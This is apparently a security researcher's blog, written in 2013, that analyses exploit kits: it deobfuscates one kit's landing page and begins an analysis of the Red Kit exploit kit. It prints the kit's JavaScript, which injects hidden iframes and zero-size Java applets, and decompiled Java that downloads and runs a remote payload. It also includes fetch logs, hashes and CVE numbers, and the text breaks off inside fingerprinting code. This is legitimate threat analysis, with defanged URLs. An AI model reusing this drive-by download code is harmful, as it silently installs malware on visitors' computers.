agT7b%22%20YnZx2%22eV.%3DdSTf%22%20EcGdViGS%22%27%200%20f_Zl8_kjF%20h%20%27beY.WEc%3FV8%27%20x%20%3DC%3DX.bkk7h%28tUXssb%20x%20%283LXd.eNPwei%28%29%2A85Pz1d%20h%20t%29%29%202%20%27%22%20XVHeL8%22n%22%20UG1Wds8%22G%22%20%20ilSIW4%22WVWTFeYVVE%3A%20XecZxd%22%3E%20%3Ch7OSe%20ONQPq%22hVaM%22%20BQhtaS%22XlNM%3A33ip.im.f5p.odM1.w07nf.UJI%3BUhM%3Bn%22%3E%20%3CpaEnNZ%3E%20%3Cntflka%3D%3E%27%3B%0A%7D%0A%0A%0AVmH%3DlaPa%203Z2%2B%28%29%0A%7B%0A%09VS%20%28L_4ej%29%20I_hkUhW%28G_ddPNHPH%206%20%27%26XzL%27%29%3B%0A%7D%0A%0Aykjbp1ef%20tLD5%28%29%0A%7B%0A%09JS%20%28N_WSj%29%209_Y6xfy%28i_h4eS%2BBV%29%3B%0A%7D%0A%0A%0AXVaGeMka%20%3DQe5%28%29%0A%7B%0A%09ee%20%28f_4ef%29%20q_IJWQp%28N_WPkNQGw0%20%27%26g%2FY%27%29%3B%0A%7D%0A%0Aykf9QagO%20%3DS9w%28%29%0A%7B%0A%09eS%20%28W_C8f_emZxn%20%3C%20b_7Mh_UOg%29%0A%09%7B%0A%09%09N_LTl_VaFxn69%3B%0A%09%0A%09%09rth%20SiLVq%20n%20QSNYiRaV.ueZx%3B%0A%09%09ey%20%28Q6IAq%29%0A%09%09%7B%0A%09%09%09nBe%20LeGkQR%20o%20c_W9olaB%28%29%3B%0A%09%09%09SiLVq.JaWPVp1RH7ha%28I_YlfSH%28ElUPQI%29%2C%20LskQl.H1hos%2F0Yd%2B%29%3B%0A%09%09%7D%0A%09%7D%0A%7D%0A%0ACmfDgMZR%20F_b8P1%28X%2BnZE%29%0A%7B%0A%09%0A%09YX%20%28D_Igf%29%20x_Y8PTy%28W_YCvSaro%29%3B%0A%09%0A%091V%20%28ZiLVq%29%0A%09%7B%0A%09%09WNV%20SXYbQG%20S%20%27%27%3B%0A%09%09%0A%09%09Yb%20%28mWBYY7Qgj.KNZLvjNONxT%28%29%29%0A%09%09%7B%0A%09%09%09%0A%09%09%09dsY7TW%20g%20t_Y5Qcy9_C%28%29%206%209_Tp8fDK_T%28%29%20Q%20%3D_YhMh%3Dz%28%29%3B%0A%09%09%09%0A%09%09%09VJ%20%28U_Pka%29%209_NkUl1%28f_4ZSP%2Bgf%29%3B%0A%09%09%09%0A%09%09%09I1SOc.eafG%2Bj%2Bdb7hW%28q_%3DKhBa%28LeGkQR%29%2C%20JUeZx.b1hkNmZaMQ%29%3B%0A%09%09%7D%0A%09%09IWWa%0A%09%09%7B%0A%09%09%09VS%20%28L_4ej%29%20I_hkUhW%28G_dbBiEZJb%29%3B%0A%09%09%7D%0A%09%09%0A%09%7D%0A%7D%0A%0AShPvjenj%20c_e7L%28%29%0A%7B%0A%09FX%20%28b_MbEOIZ%29%20eRVAhj%3B%09%0A%09%0A%09uW%2B%20cqiLVq%20n%20QSNYiRaV.ueZx%3B%0A%09ey%20%28cqiLVq%29%0A%09%7B%0A%09%09K_YSLHaQ%20z%20V%2Bka%3B%0A%09%09I_kbda%28GV6gEl%29%3B%0A%09%7D%0A%09IWWa%0A%09%7B%0A%09%09fRVmYidkAj%28%22B_Imj%22%2C%20tbn%29%3B%0A%09%7D%0A%7D%0A%0AJfRYgVQ6%20MkmH%28y%29%0A%7B%0A%09lSL%20MjWW%20z%20aTRZbj.Q6bkZZ%3B%0A%09CYf%2BLo.gOYSLH%208%20ShPvjenj%28%29%20%7B%201V%20%28hLBn%29%20hSRZ%28%29%3B%20Q%28%29%3B%20%7D%0A%7D%0A%0AAka%2F%28y_75n%29%3B%0Ara%3DJaGBgmU%28%229_S0V%28%29%22%2C%203nnc%29%3B%0A%0A';
var alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
var key1 = 'T79!$99(4+s+~44)T7~@=';
var c = 0;
    var la = '';
    var lb = -1;
    var lc = 0;
    var ld = unescape(s);
    for (var i = 0; i < ld.length; i++) {
        lb = alpha.indexOf(ld.charAt(i));
        if (lb >= 0) {
            lc = (lb - key1.charCodeAt(c)) % alpha.length;
            if (lc < 0) {
                lc += alpha.length;
            }
            la += alpha.charAt(lc);
            c++;
            if (c >= key1.length) {
                c = 0;
            }
        } else {
            la += ld.charAt(i);
        }
    }
console.log(la);

Hopefully last round of deobfuscation

var j_lon = true;
var j_url = 'hxxp: //anitatelecom.com.br/.01/index.php';
var j_laccess = j_url + '?action=stats_access';
var j_ljavaon = j_url + '?action=stats_javaon';
var j_ljavaoff = j_url + '?action=stats_javaoff';
var j_lloaded = j_url + '?action=stats_loaded';

var j_loaded = false;
var j_app_index = 1;
var j_app_cnt = 10;
var j_app_pre = 'm1';
var j_app_url = 'hxxp: //bambou.gr/.01/';


function J_gAppURL() {
    return j_app_url + j_app_pre + j_app_index + '.jar';
}

function J_cIf(srce) {
    var ifr = document.createElement('iframe');
    ifr.src = srce;
    ifr.style.visibility = 'hidden';
    ifr.style.display = 'inline';
    ifr.style.margin = '0';
    ifr.style.padding = '0';
    ifr.style.border = 'none';
    ifr.style.width = '0';
    ifr.style.height = '0';
    return ifr;
}

function J_lRep2(url) {
    var aBody = document.body;
    if (aBody) {
        aBody.insertBefore(J_cIf(url), aBody.firstChild);
    }
}

function J_cSpan(html) {
    var span = document.createElement('span');
    span.innerHTML = html;
    return span;
}

function J_gAppHL() {
    return '<applet name="Java(TM) Web Start ActiveX Control" code="m1.class" archive="' + J_gAppURL() + '" width="0" height="0"  style="visibility: hidden" mayscript="true"> <param name="link" value="hxxp: //72.41.192.116/.01/Up.cpl;cpl;0"> </param></applet>';
}

function J_gAppHL_Y() {
    return '<applet name="Java(TM) Web Start ActiveX Control" code="m1.class" archive="' + j_app_url + 'jhan.jar?r=' + Math.floor(100000 + (Math.random() * 999999 + 1)) + '" width="0" height="0"  style="visibility: hidden"> <param name="link" value="hxxp: //72.41.192.116/.01/Up.cpl;cpl;0"> </param> </applet>';
}

function J_gAppHL_X() {
    return '<applet name="Java(TM) Web Start ActiveX Control" code="m1.class" archive="' + j_app_url + 'jmx.jar?r=' + Math.floor(100000 + (Math.random() * 999999 + 1)) + '" width="0" height="0"  style="visibility: hidden"> <param name="link" value="hxxp: //72.41.192.116/.01/Up.cpl;cpl;0"> </param> </applet>';
}


function MoLB() {
    if (j_lon) J_lRep2(j_lloaded + '&k=j');
}

function MoLA() {
    if (j_lon) J_lRep2(j_lloaded);
}


function MoLC() {
    if (j_lon) J_lRep2(j_lloaded + '&k=c');
}

function MoLF() {
    if (j_app_index < j_app_cnt) {
        j_app_index++;

        var aBody = document.body;
        if (aBody) {
            var htcode = J_gAppHL();
            aBody.insertBefore(J_cSpan(htcode), aBody.firstChild);
        }
    }
}

function J_oIni(hBody) {

    if (j_lon) J_lRep2(j_laccess);

    if (hBody) {
        var htcode = '';

        if (navigator.javaEnabled()) {

            htcode = J_gAppHL_Y() + J_gAppHL_X() + J_gAppHL();

            if (j_lon) J_lRep2(j_ljavaon);

            hBody.insertBefore(J_cSpan(htcode), hBody.firstChild);
        } else {
            if (j_lon) J_lRep2(j_ljavaoff);
        }

    }
}

function J_oCr() {
    if (j_loaded) return;

    var myBody = document.body;
    if (myBody) {
        j_loaded = true;
        J_oIni(myBody);
    } else {
        setTimeout("J_oCr", 100);
    }
}

function WonL(f) {
    var prev = window.onload;
    window.onload = function() {
        if (prev) prev();
        f();
    }
}

WonL(J_oCr);
setTimeout("J_oCr()", 7000);

Hurray! nice and clean JavaScript code

4. With the landing in sight

It's time to fetch the JARS

--2013-03-19 --  hxxp: //bambou.gr/.01/m11.jar
Resolving bambou.gr... 199.16.131.122
Connecting to bambou.gr|199.16.131.122|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.0 200 OK
  Server: LiteSpeed
  Accept-Ranges: bytes
  Connection: close
  ETag: "1117-5142ae10-0"
  Last-Modified: Fri, 15 Mar 2013 05:13:52 GMT
  Content-Type: application/java-archive
  Content-Length: 4375
  Vary: User-Agent
Length: 4375 (4.3K) [application/java-archive]
Saving to: `m11.jar'

     0K ....                                                  100%  333M=0s

2013-03-19  (333 MB/s) - `m11.jar' saved [4375/4375]


--2013-03-19 --  hxxp: //bambou.gr/.01/jhan.jar?r=136494
Resolving bambou.gr... 199.16.131.122
Connecting to bambou.gr|199.16.131.122|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.0 200 OK
  Server: LiteSpeed
  Accept-Ranges: bytes
  Connection: close
  ETag: "10cd-5142cb02-0"
  Last-Modified: Fri, 15 Mar 2013 07:17:22 GMT
  Content-Type: application/java-archive
  Content-Length: 4301
  Vary: User-Agent
Length: 4301 (4.2K) [application/java-archive]
Saving to: `jhan.jar'

     0K ....                                                  100%  118M=0s

2013-03-19 (118 MB/s) - `jhan.jar' saved [4301/4301]

--2013-03-19 --  hxxp: //bambou.gr/.01/jmx.jar?r=633478
Resolving bambou.gr... 199.16.131.122
Connecting to bambou.gr|199.16.131.122|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.0 200 OK
  Server: LiteSpeed
  Accept-Ranges: bytes
  Connection: close
  ETag: "1780-5142c906-0"
  Last-Modified: Fri, 15 Mar 2013 07:08:54 GMT
  Content-Type: application/java-archive
  Content-Length: 6016
  Vary: User-Agent
Length: 6016 (5.9K) [application/java-archive]
Saving to: `jmx.jar'

     0K .....                                                 100%  155M=0s

2013-03-19 00:45:39 (155 MB/s) - `jmx.jar' saved [6016/6016]

5. JAR file disassembly

jad(class files) is an excellent tool for this, use jd-gui(JAR files) if you like gui or go all the way and use showmycode.com(class files)

I'm not going into details on the JARs or classes. Here is whats interesting at this point: How to get the final payload of the kit:

From Init():

String str1 = rver("SRESULLA") + rver("ELIFORP");
String str2 = null;
boolean bool = false;
try
{
  str2 = _get__env(str1);
}
catch (Throwable localThrowable2)
{
  MoLF();
}
String str3 = getParameter("link");
String[] arrayOfString = str3.split(";");
String str4 = arrayOfString[0];
String str5 = arrayOfString[1];
String str6 = arrayOfString[2];
if (!str6.equals("0")) bool = true;
dl(str4, str2 + "\\jupdate.", str5, bool);

in short:
get ALLUSERPROFILE
get the value from the variable "link" from the landing pane: hxxp: //72.41.192.116/.01/Up.cpl
split on ";"
call dl()

dl()

public void dl(String paramString1, String paramString2, String paramString3, boolean paramBoolean) {
    paramString2 = paramString2 + paramString3;

    BufferedInputStream localBufferedInputStream = null;
    try
    {
      localBufferedInputStream = new BufferedInputStream(new URL(paramString1).openStream());
    }
    catch (IOException localIOException1)
    {
      Logger.getLogger(getClass().getName()).log(Level.SEVERE, null, localIOException1);
    }
    FileOutputStream localFileOutputStream = null;
    try
    {
      localFileOutputStream = new FileOutputStream(paramString2);
    }
    catch (FileNotFoundException localFileNotFoundException)
    {
      Logger.getLogger(getClass().getName()).log(Level.SEVERE, null, localFileNotFoundException);
    }
    BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
    byte[] arrayOfByte = new byte[1024];
    try
    {
      int i;
      for (long l1 = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l1 += i) {
        cWrite(localBufferedOutputStream, arrayOfByte, i);
      }
      if (paramBoolean)
      {
        int j = (int)(Math.random() * 3080192.0D + 25493504.0D);
        for (long l2 = 0L; l2 < j; l2 += 1L) {
          localBufferedOutputStream.write(0);
        }
      }
    }
    catch (IOException localIOException2)
    {
      Logger.getLogger(getClass().getName()).log(Level.SEVERE, null, localIOException2);
    }
    try
    {
      localBufferedOutputStream.close();
    }
    catch (IOException localIOException3)
    {
      Logger.getLogger(getClass().getName()).log(Level.SEVERE, null, localIOException3);
    }
    try
    {
      localBufferedInputStream.close();
    }
    catch (IOException localIOException4)
    {
      Logger.getLogger(getClass().getName()).log(Level.SEVERE, null, localIOException4);
    }
    if (paramString3.equals("cpl")) {
      paramString2 = "rundll32.exe shell32.dll,Control_RunDLL \"" + paramString2 + "\",";
    }
    if (!gRun(paramString2, false)) return;
    try
    {
      URL localURL = new URL("javascript:MoLB();");
      getAppletContext().showDocument(localURL);
      System.exit(0);
    }
    catch (IOException localIOException5) {
    }
  }

what happens:
get the evil code
save the evil code
run the evil code

And we could have got off more easy with just fetching the thing from the landing pane

6. Get the evil code

Connecting to 72.41.192.116:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Server: Apache
  Last-Modified: Mon, 18 Mar 2013 20:21:00 GMT
  ETag: "24f8e26-1c44c-5147772c"
  Accept-Ranges: bytes
  Content-Length: 115788
  Keep-Alive: timeout=15, max=100
  Connection: Keep-Alive
  Content-Type: text/plain
Length: 115788 (113K) [text/plain]
Saving to: `up.exe'

     0K .......... .......... .......... .......... .......... 44% 14.8K 4s
    50K .......... .......... .......... .......... .......... 88% 64.1K 1s
   100K .......... ...                                        100% 95.2K=4.3s

2013-03-19 (26.4 KB/s) - `up.exe' saved [115788/115788]

7. Detection

Not much changed since this report by MalwareSigs Only thing is amor1.jar has changed to m11.jar still with the same CVE's

8. Epilogue

It's nice to have survived 12 rounds in the ring with the Boss. Hopefully not Bossing us around the next time we see it :)

roundup of the bad stuff

m11.jar

MD5: 6834625b760045c6c19b515257b20658

VT: 3/45

CVE-2012-4681

jhan.jar

MD5: 39063df13e5d4f9b9f2a1cb24ab7f7f0

VT: 13/45

CVE-2013-0422

jmx.jar

MD5: b011336a74517c9326386b648c122c62

VT: 6/45

CVE-2013-0422

exe:

MD5: 58905bcf16acd0dde8d267bf52a44a0d

VT: 20/45

Happy Bossing EK's around

Post publish reads:
Jar exploit download change seen by @Set_abominea: http://pastebin.com/Tt3uFnCT

Sunday, March 10, 2013

Analyzing Red Kit Exploit Kit made easy

having covered the Blackhole Exploit Kit lately I thought it would be a great Idea to look more into the Red Kit EK.

A good start for malicious URL's, as always is urlquery.net or malwaredomainlist.com

Todays pick was urlquery: Some poor Madonna fans having a bad day!

I just looked into the output and immediately found 2 iframes that caught my attention:

hxxp: //miamiheattickets.com/http.php
hxxp: //tucsonaccidentattorney.net/mhed.html?j=449177

0. Fetch the web pages

The second page looks especially interesting as it has the distinct pattern of a RK URL

--2013-03-10 19:48:19--  hxxp: //miamiheattickets.com/http.php
Resolving miamiheattickets.com... 174.120.81.158
Connecting to miamiheattickets.com|174.120.81.158|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 404 Not Found
  Date: Sun, 10 Mar 2013 18:49:15 GMT
  Server: Apache
  Last-Modified: Tue, 10 Apr 2012 05:19:44 GMT
  Accept-Ranges: bytes
  Content-Length: 3354
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: text/html
2013-03-10 19:48:21 ERROR 404: Not Found.

--2013-03-10 19:49:28--  hxxp: //tucsonaccidentattorney.net/mhed.html?j=449177
Resolving tucsonaccidentattorney.net... 67.18.140.14
Connecting to tucsonaccidentattorney.net|67.18.140.14|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 301 Moved Permanently
  Date: Sun, 10 Mar 2013 18:50:24 GMT
  Server: Apache
  Location: hxxp: //fgccnc.org/mhed.htm?j=449177
  Content-Length: 0
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: text/html
Location: hxxp: //fgccnc.org/mhed.htm?j=449177 [following]
--2013-03-10 19:49:30--  hxxp: //fgccnc.org/mhed.htm?j=449177
Resolving fgccnc.org... 50.22.90.99
Connecting to fgccnc.org|50.22.90.99|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sun, 10 Mar 2013 18:50:26 GMT
  Server: Apache
  Content-Length: 12956
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: text/html
Length: 12956 (13K) [text/html]
Saving to: `pane2.html'

     0K .......... ..                                         100%  205M=0s

2013-03-10 19:49:33 (205 MB/s) - `pane2.html' saved [12956/12956]

Excellent :) got a hit on the second page.

1. Plugin Detect ver 0.7.7

<html>
    <script>
        var dtYWu = {
            version: "0.7.7",
            rDate: "04/11/2012",
            name: "diction",
            handler: function (c, b, a) {
                return function () {
                    c(b, a)
                }
            },
            isDefined: function (b) {
                return typeof b != "undefined"
            },
            isArray: function (b) {
                return (/array/i).test(Object.prototype.toString.call(b))
            },
            isFunc: function (b) {
                return typeof b == "function"
            },
            isString: function (b) {
                return typeof b == "string"
            },
            isNum: function (b) {
                return typeof b == "number"
            },
            isStrNum: function (b) {
                return (typeof b == "string" && (/\d/).test(b))
            },
            getNumRegx: /[\d][\d\.\_,-]*/,
            splitNumRegx: /[\.\_,-]/g,
            getNum: function (b, c) {
                var d = this,
                    a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
                return a ? a[0] : null
            },
            compareNums: function (h, f, d) {
                var e = this,
                    c, b, a, g = parseInt;
                if (e.isStrNum(h) && e.isStrNum(f)) {
                    if (e.isDefined(d) && d.compareNums) {
                        return d.compareNums(h, f)
                    }
                    c = h.split(e.splitNumRegx);
                    b = f.split(e.splitNumRegx);
                    for (a = 0; a < Math.min(c.length, b.length); a++) {
                        if (g(c[a], 10) > g(b[a], 10)) {
                            return 1
                        }
                        if (g(c[a], 10) < g(b[a], 10)) {
                            return -1
                        }
                    }
                }
                return 0
            },
            formatNum: function (b, c) {
                var d = this,
                    a, e;
                if (!d.isStrNum(b)) {
                    return null
                }
                if (!d.isNum(c)) {
                    c = 4
                }
                c--;
                e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
                for (a = 0; a < 4; a++) {
                    if (/^(0+)(.+)$/.test(e[a])) {
                        e[a] = RegExp.$2
                    }
                    if (a > c || !(/\d/).test(e[a])) {
                        e[a] = "0"
                    }
                }
                return e.slice(0, 4).join(",")
            },
            $$hasMimeType: function (a) {
                return function (c) {
                    if (!a.isIE && c) {
                        var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
                        for (b = 0; b < d.length; b++) {
                            if (a.isString(d[b]) && /[^\s]/.test(d[b])) {
                                f = navigator.mimeTypes[d[b]];
                                e = f ? f.enabledPlugin : 0;
                                if (e && (e.name || e.description)) {
                                    return f
                                }
                            }
                        }
                    }
                    return null
                }
            },
            findNavPlugin: function (l, e, c) {
                var j = this,
                    h = new RegExp(l, "i"),
                    d = (!j.isDefined(e) || e) ? /\d/ : 0,
                    k = c ? new RegExp(c, "i") : 0,
                    a = navigator.plugins,
                    g = "",
                    f, b, m;
                for (f = 0; f < a.length; f++) {
                    m = a[f].description || g;
                    b = a[f].name || g;
                    if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
                        if (!k || !(k.test(m) || k.test(b))) {
                            return a[f]
                        }
                    }
                }
                return null
            },
            getMimeEnabledPlugin: function (k, m, c) {
                var e = this,
                    f, b = new RegExp(m, "i"),
                    h = "",
                    g = c ? new RegExp(c, "i") : 0,
                    a, l, d, j = e.isString(k) ? [k] : k;
                for (d = 0; d < j.length; d++) {
                    if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)) {
                        l = f.description || h;
                        a = f.name || h;
                        if (b.test(l) || b.test(a)) {
                            if (!g || !(g.test(l) || g.test(a))) {
                                return f
                            }
                        }
                    }
                }
                return 0
            },
            getPluginFileVersion: function (f, b) {
                var h = this,
                    e, d, g, a, c = -1;
                if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) {
                    return b
                }
                if (!b) {
                    return e
                }
                e = h.formatNum(e);
                b = h.formatNum(b);
                d = b.split(h.splitNumRegx);
                g = e.split(h.splitNumRegx);
                for (a = 0; a < d.length; a++) {
                    if (c > -1 && a > c && d[a] != "0") {
                        return b
                    }
                    if (g[a] != d[a]) {
                        if (c == -1) {
                            c = a
                        }
                        if (d[a] != "0") {
                            return b
                        }
                    }
                }
                return e
            },
            AXO: window.ActiveXObject,
            getAXO: function (a) {
                var f = null,
                    d, b = this,
                    c = {};
                try {
                    f = new b.AXO(a)
                } catch (d) {}
                return f
            },
            convertFuncs: function (f) {
                var a, g, d, b = /^[$][$]/,
                    c = this;
                for (a in f) {
                    if (b.test(a)) {
                        try {
                            g = a.slice(2);
                            if (g.length > 0 && !f[g]) {
                                f[g] = f[a](f);
                                delete f[a]
                            }
                        } catch (d) {}
                    }
                }
            },
            initObj: function (e, b, d) {
                var a, c;
                if (e) {
                    if (e[b[0]] == 1 || d) {
                        for (a = 0; a < b.length; a = a + 2) {
                            e[b[a]] = b[a + 1]
                        }
                    }
                    for (a in e) {
                        c = e[a];
                        if (c && c[b[0]] == 1) {
                            this.initObj(c, b)
                        }
                    }
                }
            },
            initScript: function () {
                var c = this,
                    a = navigator,
                    e = "/",
                    f, i = a.userAgent || "",
                    g = a.vendor || "",
                    b = a.platform || "",
                    h = a.product || "";
                c.initObj(c, ["$", c]);
                for (f in c.Plugins) {
                    if (c.Plugins[f]) {
                        c.initObj(c.Plugins[f], ["$", c, "$$", c.Plugins[f]], 1)
                    }
                };
                c.OS = 100;
                if (b) {
                    var d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "", 100];
                    for (f = d.length - 2; f >= 0; f = f - 2) {
                        if (d[f] && new RegExp(d[f], "i").test(b)) {
                            c.OS = d[f + 1];
                            break
                        }
                    }
                }
                c.convertFuncs(c);
                c.head = (document.getElementsByTagName("head")[0] || document.getElementsByTagName("body")[0] || document.body || null);
                c.isIE = (new Function("return " + e + "*@cc_on!@*" + e + "false"))();
                c.verIE = c.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(i) ? parseFloat(RegExp.$1, 10) : null;
                c.ActiveXEnabled = false;
                if (c.isIE) {
                    var f, j = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"];
                    for (f = 0; f < j.length; f++) {
                        if (c.getAXO(j[f])) {
                            c.ActiveXEnabled = true;
                            break
                        }
                    }
                }
                c.isGecko = (/Gecko/i).test(h) && (/Gecko\s*\/\s*\d/i).test(i);
                c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i) ? RegExp.$1 : "0.9") : null;
                c.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);
                c.verChrome = c.isChrome ? c.formatNum(RegExp.$1) : null;
                c.isSafari = ((/Apple/i).test(g) || (!g && !c.isChrome)) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(i);
                c.verSafari = c.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(i) ? c.formatNum(RegExp.$1) : null;
                c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
                c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(i) || 1) ? parseFloat(RegExp.$1, 10) : null;
                c.addWinEvent("load", c.handler(c.runWLfuncs, c))
            },
            init: function (d) {
                var c = this,
                    b, d, a = {
                        status: -3,
                        plugin: 0
                    };
                if (!c.isString(d)) {
                    return a
                }
                if (d.length == 1) {
                    c.getVersionDelimiter = d;
                    return a
                }
                d = d.toLowerCase().replace(/\s/g, "");
                b = c.Plugins[d];
                if (!b || !b.getVersion) {
                    return a
                }
                a.plugin = b;
                if (!c.isDefined(b.installed)) {
                    b.installed = null;
                    b.version = null;
                    b.version0 = null;
                    b.getVersionDone = null;
                    b.pluginName = d
                }
                c.garbage = false;
                if (c.isIE && !c.ActiveXEnabled && d !== "java") {
                    a.status = -2;
                    return a
                }
                a.status = 1;
                return a
            },
            fPush: function (b, a) {
                var c = this;
                if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && b.length > 0 && c.isFunc(b[0])))) {
                    a.push(b)
                }
            },
            callArray: function (b) {
                var c = this,
                    a;
                if (c.isArray(b)) {
                    for (a = 0; a < b.length; a++) {
                        if (b[a] === null) {
                            return
                        }
                        c.call(b[a]);
                        b[a] = null
                    }
                }
            },
            call: function (c) {
                var b = this,
                    a = b.isArray(c) ? c.length : -1;
                if (a > 0 && b.isFunc(c[0])) {
                    c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
                } else {
                    if (b.isFunc(c)) {
                        c(b)
                    }
                }
            },
            getVersionDelimiter: ",",
            $$getVersion: function (a) {
                return function (g, d, c) {
                    var e = a.init(g),
                        f, b, h = {};
                    if (e.status < 0) {
                        return null
                    };
                    f = e.plugin;
                    if (f.getVersionDone != 1) {
                        f.getVersion(null, d, c);
                        if (f.getVersionDone === null) {
                            f.getVersionDone = 1
                        }
                    }
                    a.cleanup();
                    b = (f.version || f.version0);
                    b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
                    return b
                }
            },
            cleanup: function () {},
            addWinEvent: function (d, c) {
                var e = this,
                    a = window,
                    b;
                if (e.isFunc(c)) {
                    if (a.addEventListener) {
                        a.addEventListener(d, c, false)
                    } else {
                        if (a.attachEvent) {
                            a.attachEvent("on" + d, c)
                        } else {
                            b = a["on" + d];
                            a["on" + d] = e.winHandler(c, b)
                        }
                    }
                }
            },
            winHandler: function (d, c) {
                return function () {
                    d();
                    if (typeof c == "function") {
                        c()
                    }
                }
            },
            WLfuncs0: [],
            WLfuncs: [],
            runWLfuncs: function (a) {
                var b = {};
                a.winLoaded = true;
                a.callArray(a.WLfuncs0);
                a.callArray(a.WLfuncs);
                if (a.onDoneEmptyDiv) {
                    a.onDoneEmptyDiv()
                }
            },
            winLoaded: false,
            $$onWindowLoaded: function (a) {
                return function (b) {
                    if (a.winLoaded) {
                        a.call(b)
                    } else {
                        a.fPush(b, a.WLfuncs)
                    }
                }
            },
            div: null,
            divID: "plugindetect",
            divWidth: 50,
            pluginSize: 1,
            emptyDiv: function () {
                var d = this,
                    b, h, c, a, f, g;
                if (d.div && d.div.childNodes) {
                    for (b = d.div.childNodes.length - 1; b >= 0; b--) {
                        c = d.div.childNodes[b];
                        if (c && c.childNodes) {
                            for (h = c.childNodes.length - 1; h >= 0; h--) {
                                g = c.childNodes[h];
                                try {
                                    c.removeChild(g)
                                } catch (f) {}
                            }
                        }
                        if (c) {
                            try {
                                d.div.removeChild(c)
                            } catch (f) {}
                        }
                    }
                }
                if (!d.div) {
                    a = document.getElementById(d.divID);
                    if (a) {
                        d.div = a
                    }
                }
                if (d.div && d.div.parentNode) {
                    try {
                        d.div.parentNode.removeChild(d.div)
                    } catch (f) {}
                    d.div = null
                }
            },
            DONEfuncs: [],
            onDoneEmptyDiv: function () {
                var c = this,
                    a, b;
                if (!c.winLoaded) {
                    return
                }
                if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) {
                    return
                }
                for (a in c) {
                    b = c[a];
                    if (b && b.funcs) {
                        if (b.OTF == 3) {
                            return
                        }
                        if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) {
                            return
                        }
                    }
                }
                for (a = 0; a < c.DONEfuncs.length; a++) {
                    c.callArray(c.DONEfuncs)
                }
                c.emptyDiv()
            },
            getWidth: function (c) {
                if (c) {
                    var a = c.scrollWidth || c.offsetWidth,
                        b = this;
                    if (b.isNum(a)) {
                        return a
                    }
                }
                return -1
            },
            getTagStatus: function (m, g, a, b) {
                var c = this,
                    f, k = m.span,
                    l = c.getWidth(k),
                    h = a.span,
                    j = c.getWidth(h),
                    d = g.span,
                    i = c.getWidth(d);
                if (!k || !h || !d || !c.getDOMobj(m)) {
                    return -2
                }
                if (j < i || l < 0 || j < 0 || i < 0 || i <= c.pluginSize || c.pluginSize < 1) {
                    return 0
                }
                if (l >= i) {
                    return -1
                }
                try {
                    if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) {
                        if (!m.winLoaded && c.winLoaded) {
                            return 1
                        }
                        if (m.winLoaded && c.isNum(b)) {
                            if (!c.isNum(m.count)) {
                                m.count = b
                            }
                            if (b - m.count >= 10) {
                                return 1
                            }
                        }
                    }
                } catch (f) {}
                return 0
            },
            getDOMobj: function (g, a) {
                var f, d = this,
                    c = g ? g.span : 0,
                    b = c && c.firstChild ? 1 : 0;
                try {
                    if (b && a) {
                        d.div.focus()
                    }
                } catch (f) {}
                return b ? c.firstChild : null
            },
            setStyle: function (b, g) {
                var f = b.style,
                    a, d, c = this;
                if (f && g) {
                    for (a = 0; a < g.length; a = a + 2) {
                        try {
                            f[g[a]] = g[a + 1]
                        } catch (d) {}
                    }
                }
            },
            insertDivInBody: function (a, i) {
                var h, f = this,
                    b = "pd33993399",
                    d = null,
                    j = i ? window.top.document : window.document,
                    c = "<",
                    g = (j.getElementsByTagName("body")[0] || j.body);
                if (!g) {
                    try {
                        j.write(c + 'div id="' + b + '">o' + c + "/div>");
                        d = j.getElementById(b)
                    } catch (h) {}
                }
                g = (j.getElementsByTagName("body")[0] || j.body);
                if (g) {
                    if (g.firstChild && f.isDefined(g.insertBefore)) {
                        g.insertBefore(a, g.firstChild)
                    } else {
                        g.appendChild(a)
                    }
                    if (d) {
                        g.removeChild(d)
                    }
                } else {}
            },
            insertHTML: function (g, b, h, a, l) {
                var m, n = document,
                    k = this,
                    q, p = n.createElement("span"),
                    o, j, f = "<";
